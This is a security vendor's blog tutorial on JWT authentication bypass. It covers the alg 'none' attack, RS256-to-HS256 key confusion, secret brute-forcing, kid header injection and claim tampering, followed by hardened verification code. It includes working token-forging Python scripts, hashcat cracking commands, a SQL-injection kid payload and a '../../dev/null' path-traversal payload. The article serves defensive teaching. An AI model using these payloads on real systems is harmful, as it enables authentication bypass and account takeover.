Nouvelle réglementation de cybersécurité 2026 en vigueur au Maroc. Obtenir un audit de conformité gratuit →
← Back to Blog
Authentication 2026-05-19 ⏱️ 14 min

JWT Authentication Bypass: "none" Algorithm, RS256→HS256 Confusion & Key Injection Attacks

JSON Web Tokens (JWTs) have become the de facto standard for stateless authentication in modern web APIs, microservices architectures, and single-page applications. Their compact, self-contained format makes them elegant — but that same design has historically harbored a class of critical vulnerabilities that allow attackers to forge arbitrary tokens and completely bypass authentication. This article dissects five major JWT attack categories, explains the precise mechanics behind each, and provides hardened defense patterns every engineer should have in their toolkit.


1. JWT Structure Refresher

A JWT consists of three Base64URL-encoded segments separated by dots:

header.payload.signature

Header — A JSON object declaring the token type and the cryptographic algorithm used to produce the signature:

{
  "alg": "HS256",
  "typ": "JWT"
}

Payload — A JSON object containing the claims: assertions about the user and additional metadata. Registered claim names include sub (subject), exp (expiration), iss (issuer), aud (audience), iat (issued at), and nbf (not before). All are optional by the spec — which is itself a security problem.

{
  "sub": "42",
  "role": "user",
  "iat": 1747699200,
  "exp": 1747702800
}

Signature — Computed over the encoded header and payload using the algorithm specified in the header. For HS256, this is HMAC-SHA256(base64url(header) + "." + base64url(payload), secret). For RS256, it is an RSA-PKCS1v1.5 signature over the same data using a private key. The signature is what prevents tampering — unless the verification logic is broken.

Critical insight: The server is supposed to verify the signature using a fixed, trusted algorithm. The catastrophic mistake that enables most JWT attacks is when the server trusts the alg field in the untrusted header to decide how to verify the token.

2. Attack 1 — The "none" Algorithm (CVE-2015-9235 Class)

The JWT specification (RFC 7519) defines "none" as a valid algorithm value, intended only for cases where the token integrity is guaranteed by another mechanism. Numerous early JWT libraries — including versions of node-jsonwebtoken, pyjwt, and php-jwt — accepted alg: "none" without any special enforcement, treating it as a legitimate instruction to skip signature verification entirely.

The attack is trivially simple:

  1. Obtain any valid JWT from the target application.
  2. Base64URL-decode the header.
  3. Change "alg": "HS256" to "alg": "none".
  4. Re-encode the header and reconstruct the token with an empty signature (the trailing dot must still be present).
  5. Modify the payload to escalate privileges (e.g., change role to admin).
  6. Submit the forged token — the vulnerable server accepts it without verifying the signature.

Here is a complete Python demonstration of the manipulation cycle:

import base64, json

# Original header (base64url decoded)
header = {"alg": "HS256", "typ": "JWT"}

# Attacker changes to:
evil_header = {"alg": "none", "typ": "JWT"}

# Encode without padding
evil_b64 = base64.urlsafe_b64encode(
    json.dumps(evil_header, separators=(',',':')).encode()
).rstrip(b'=').decode()

print(evil_b64)  # eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0

# Original payload (example — attacker escalates role)
payload = {"sub": "42", "role": "admin", "exp": 9999999999}
evil_payload_b64 = base64.urlsafe_b64encode(
    json.dumps(payload, separators=(',',':')).encode()
).rstrip(b'=').decode()

# The resulting JWT has an empty signature — note the trailing dot
forged_jwt = f"{evil_b64}.{evil_payload_b64}."
print(forged_jwt)

The final token ends with a dot and no signature. A vulnerable library receives this, reads alg: "none", performs no cryptographic check, and returns the payload as trusted. The attacker is now authenticated as an admin with a completely fabricated token.

Note that some libraries specifically check for case variations: None, NONE, nOnE. A thorough attacker tests all permutations. This entire vulnerability class is tracked under the CVE-2015-9235 umbrella and affected nearly every major JWT library released before 2016.


3. Attack 2 — Algorithm Confusion: RS256 → HS256

This attack is subtler and arguably more dangerous in modern systems. It exploits the asymmetry between how RSA and HMAC verification work, combined with libraries that don't enforce algorithm consistency.

When a server uses RS256 (RSA + SHA-256):

  • The server signs the token with its private key (kept secret).
  • The server (or any consumer) verifies the token with the corresponding public key (distributed openly, often via a JWKS endpoint like /.well-known/jwks.json).

The attack proceeds as follows:

  1. The attacker retrieves the server's RSA public key — it's public by design.
  2. The attacker creates a new JWT, modifying the payload as desired.
  3. The attacker changes the alg header from RS256 to HS256.
  4. The attacker signs the new token using HMAC-SHA256 with the server's public key as the HMAC secret.
  5. The vulnerable server receives the token, reads alg: HS256, and verifies the HMAC using... the public key it already has on file — which is exactly the key the attacker used to sign it. Verification succeeds.
import jwt  # PyJWT
from cryptography.hazmat.primitives import serialization

# Attacker has obtained the server's RSA public key (e.g., from JWKS endpoint)
with open("server_public_key.pem", "rb") as f:
    public_key_bytes = f.read()

# Craft malicious payload
evil_payload = {
    "sub": "1",          # Target admin user ID
    "role": "admin",
    "exp": 9999999999
}

# Sign with HS256 using the PUBLIC KEY as the secret — this is the attack
forged_token = jwt.encode(
    evil_payload,
    public_key_bytes,    # Public key used as HMAC secret
    algorithm="HS256"
)

print(forged_token)

This works because the verification call on the server side is something like jwt.decode(token, public_key, algorithms=["HS256", "RS256"]) — the algorithm whitelist contains both, and the library happily uses whichever the header specifies. The fix is strict: the server must pin the expected algorithm and never accept a different one from the header.


4. Attack 3 — JWT Secret Bruteforce

When a server uses HS256, the security of the entire token rests on the secrecy and entropy of the HMAC key. Applications that use a short, dictionary-word, or default secret (e.g., secret, password, changeme, jwt_secret) expose themselves to offline dictionary and brute-force attacks.

Because a JWT is self-contained and the attacker only needs a captured token, the attack is fully offline — no server interaction required after token capture, making rate-limiting ineffective as a defense.

Using hashcat (GPU-accelerated):

# Mode 16500 = JWT (HS256/HS384/HS512)
hashcat -a 0 -m 16500 <captured_jwt> /usr/share/wordlists/rockyou.txt

# With rule-based mutation
hashcat -a 0 -m 16500 <captured_jwt> /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Using jwt-cracker (Node.js):

jwt-cracker -t <captured_jwt> -a "abcdefghijklmnopqrstuvwxyz" --max-length 8

A GPU cluster can exhaust all alphanumeric strings up to 8 characters in minutes. The minimum practical defense is a cryptographically random secret of at least 256 bits (32 bytes) — this makes brute-force computationally infeasible with current hardware. Many frameworks use short strings by default; always override them explicitly in production.

import secrets

# Generate a secure 256-bit (32-byte) random key — do this once and store it securely
SECRET_KEY = secrets.token_hex(32)  # 64 hex chars = 256 bits
print(SECRET_KEY)

5. Attack 4 — Key ID (kid) Header Injection

The kid (Key ID) parameter is an optional JWT header field that tells the server which key to use for verification — useful when rotating keys or supporting multiple clients. Critically, the kid value comes from the attacker-controlled token header. If the server uses this value unsanitized in a SQL query or file path lookup, severe injection vulnerabilities result.

5.1 SQL Injection via kid

Consider a server that fetches the signing key from a database:

SELECT key_value FROM jwt_keys WHERE key_id = '<kid from header>'

An attacker crafts a token with the following header:

{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "' UNION SELECT 'attacker_controlled_secret' -- "
}

The injected SQL returns the attacker's chosen string as the key value. The attacker then signs their forged token with that same string and the server validates it successfully, because both sides now share the attacker-injected "secret."

5.2 Path Traversal via kid

If the server reads the key from disk based on kid:

# Vulnerable server-side code (simplified)
key_path = f"/var/jwt/keys/{kid}"
with open(key_path, "rb") as f:
    signing_key = f.read()

An attacker sets:

{
  "alg": "HS256",
  "kid": "../../dev/null"
}

On Linux, /dev/null reads as an empty byte string. The attacker then signs their forged JWT with an empty string as the HMAC key. The server reads /dev/null, gets an empty key, and verification matches — granting full access. Other interesting targets include /proc/sys/kernel/ostype (predictable content) or world-readable config files.


6. Attack 5 — JWT Claim Manipulation

Once signature verification is bypassed via any of the above attack vectors, the attacker can manipulate any claim in the payload. Two patterns are especially impactful:

6.1 Privilege Escalation via Role Claim

Many applications embed authorization decisions in the JWT payload:

// Legitimate token payload
{"sub": "84", "role": "user", "exp": 1747702800}

// Attacker-forged payload after bypassing signature verification
{"sub": "84", "role": "admin", "exp": 9999999999}

If the application trusts the role claim without server-side authorization checks against a database, the attacker gains administrative access. This is a direct consequence of relying on client-side token data for authorization decisions without defense-in-depth.

6.2 Insecure Direct Object Reference (IDOR) via sub Claim

The sub claim often maps directly to a user ID used in database queries:

// Attacker's own token
{"sub": "1042", "role": "user"}

// Forged token targeting the admin account (user ID 1)
{"sub": "1", "role": "user"}

Endpoints that perform queries like SELECT * FROM users WHERE id = {sub} without verifying the token owner will return the target user's data. This enables horizontal and vertical privilege escalation depending on the targeted sub value.


7. Notable Real-World Cases

CVE-2018-1000531 (jwt-simple, Meteor ecosystem) — The jwt-simple Node.js package failed to validate the algorithm field, accepting none as a valid algorithm. Any application using this library was trivially exploitable. The fix required callers to explicitly pass the expected algorithm to the decode function.

CVE-2022-21449 — Java "Psychic Signatures" — This was a devastating vulnerability in Java 15 through 17 (Oracle JDK and OpenJDK). The ECDSA signature verification implementation in java.security accepted an all-zero (or more precisely, a malformed r=0, s=0) signature as valid for any ECDSA-signed JWT, regardless of the key or message content. An attacker could submit a trivially crafted forged JWT with a blank signature and the Java runtime would confirm it as cryptographically valid. Every Java application using ES256/ES384/ES512 JWT verification on those JDK versions was affected without any code changes being needed. The fix was a JDK patch; all Java-based JWT systems on affected versions needed emergency patching.

These cases illustrate that JWT vulnerabilities span the full stack: library implementation bugs, protocol design weaknesses, and application-level misconfiguration all contribute.


8. Defensive Best Practices

Defending against JWT attacks requires layered controls across the library configuration, application logic, and infrastructure layers.

8.1 Whitelist the Expected Algorithm — Never Trust the Header

This is the single most important countermeasure. The server must never use the algorithm specified in the token header. Instead, it must enforce the expected algorithm at the configuration layer:

import jwt

# INSECURE: trusting the header's algorithm
payload = jwt.decode(token, SECRET_KEY)  # Old API — dangerous

# INSECURE: allowing multiple algorithms including none
payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256", "none"])

# SECURE: whitelist algorithm, validate all claims
payload = jwt.decode(
    token,
    SECRET_KEY,
    algorithms=["HS256"],  # Never include "none" or multiple algo families
    options={"require": ["exp", "iat", "sub"]}
)

# SECURE RS256 example: pin to the public key object, never accept HS256
from cryptography.hazmat.primitives.serialization import load_pem_public_key

public_key = load_pem_public_key(PUBLIC_KEY_PEM)
payload = jwt.decode(
    token,
    public_key,
    algorithms=["RS256"],  # Only RS256 — algorithm confusion blocked
    options={"require": ["exp", "iat", "sub", "iss"]}
)

8.2 Use Strong Secrets for HS256

HS256 shared secrets must be cryptographically random and at least 256 bits (32 bytes) long. Anything shorter or derived from a predictable value (hostname, app name, env variable default) is vulnerable to offline brute-force. Consider using a secrets management system (HashiCorp Vault, AWS Secrets Manager) to inject the key at runtime rather than storing it in environment files.

8.3 Prefer Asymmetric Algorithms for Distributed Systems

In microservices architectures where multiple services verify tokens, RS256 or ES256 eliminate the need to share a secret across services. Only the authorization server holds the private key; all other services only need the public key and cannot forge tokens even if compromised.

8.4 Validate All Standard Claims

  • exp — Reject tokens past their expiry time. Clock skew tolerance should be 60 seconds maximum.
  • nbf — Reject tokens not yet valid.
  • iss — Validate that the issuer matches your expected authorization server.
  • aud — Validate that the audience matches your service identifier, preventing token reuse across services.
  • sub — Validate that the subject exists and is active in your user store — don't rely solely on the token.

8.5 Implement Short Expiry with Refresh Token Rotation

Access tokens should expire in 15 minutes or less. Pair them with a refresh token rotation scheme: each refresh operation issues a new refresh token and invalidates the old one (refresh token rotation). If a refresh token is reused (indicating theft), immediately revoke the entire token family. This bounds the window of exposure for any compromised token.

8.6 Sanitize and Validate the kid Parameter

If your system uses the kid parameter:

  • Validate kid against a strict allowlist of known key IDs before any lookup.
  • Never interpolate kid into SQL queries — use parameterized queries exclusively.
  • Never use kid to construct file system paths without canonicalization and path prefix validation.
  • Store keys in memory or a dedicated key management system, not on the filesystem.

8.7 Never Rely on JWT Claims for Server-Side Authorization

Even with a properly verified token, do not blindly trust role or permission claims for sensitive operations. Perform authorization checks against the live database state — a user's role may have changed since the token was issued. JWTs are stateless by design, which means revocation requires either short expiry or a token blacklist/jti registry.

8.8 Complete Secure Token Validation (Python/PyJWT)

import jwt
from jwt.exceptions import (
    ExpiredSignatureError, InvalidAlgorithmError,
    InvalidAudienceError, InvalidIssuerError, DecodeError
)

SECRET_KEY = "your-256-bit-random-secret-here"  # Load from secrets manager

def verify_token(token: str) -> dict:
    try:
        payload = jwt.decode(
            token,
            SECRET_KEY,
            algorithms=["HS256"],        # Strict algorithm whitelist
            audience="api.example.com",  # Validate audience claim
            issuer="auth.example.com",   # Validate issuer claim
            options={
                "require": ["exp", "iat", "sub", "iss", "aud"],
                "verify_exp": True,
                "verify_iat": True,
                "leeway": 10             # 10-second clock skew tolerance
            }
        )
        # Additional: verify sub exists in your user database
        return payload
    except ExpiredSignatureError:
        raise AuthError("Token has expired")
    except InvalidAlgorithmError:
        raise AuthError("Algorithm not permitted")
    except (InvalidAudienceError, InvalidIssuerError):
        raise AuthError("Token audience or issuer mismatch")
    except DecodeError:
        raise AuthError("Token is malformed")

Conclusion

JWT authentication bypass vulnerabilities share a common root cause: the server trusts attacker-controlled input (the token header) to make security-critical decisions. Whether it is the alg field, the kid parameter, or the absence of claim validation, each attack exploits a design or implementation shortcut.

The defenses are well-understood and straightforward to implement: pin your algorithm, use strong keys, validate every standard claim, short-circuit path traversal and SQL injection in key lookups, and back JWT-based authorization with server-side checks. The gap between vulnerable and secure implementations is often a single line of configuration — but that line is critical.

As JWT usage continues to expand into mobile backends, IoT authentication, and inter-service communication, understanding these attack patterns is no longer optional knowledge for security-conscious engineers. Audit your token verification code today, before an attacker does it for you.

Need an API Security Audit?

Is your JWT implementation vulnerable? Cayvora Security performs deep API and authentication audits to find critical flaws before attackers do.

✉️ Request an Authentication Audit

Related Articles